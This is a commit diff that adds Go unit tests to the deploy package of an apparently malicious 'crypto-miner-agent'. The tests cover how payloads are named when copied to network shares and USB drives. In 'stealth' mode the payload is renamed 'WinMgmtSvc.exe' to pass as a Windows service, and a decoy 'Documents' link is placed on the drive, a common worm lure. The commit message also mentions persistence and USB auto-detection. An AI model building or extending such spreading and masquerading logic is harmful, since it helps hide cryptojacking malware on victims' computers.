Improve portable launch, forge persistence, and operator auth UX.

Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
AetherForge
2026-05-31 18:56:43 -07:00
parent 2f528229f2
commit feba06e008
80 changed files with 2897 additions and 675 deletions

View File

@@ -0,0 +1,51 @@
//go:build windows
package deploy
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestSharePayloadName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "worker alpha",
StealthMode: false,
}}
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
t.Fatalf("got %q", got)
}
cfg.StealthMode = true
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
t.Fatalf("stealth: got %q", got)
}
}
func TestUsbPayloadNameNonStealth(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "sync agent",
StealthMode: false,
}}
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
t.Fatalf("got %q", got)
}
}
func TestPickLinkName(t *testing.T) {
root := t.TempDir()
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
t.Fatal(err)
}
if got := pickLinkName(root); got != "Documents" {
t.Fatalf("got %q want Documents", got)
}
empty := t.TempDir()
if got := pickLinkName(empty); got != "Open Documents" {
t.Fatalf("empty drive: got %q", got)
}
}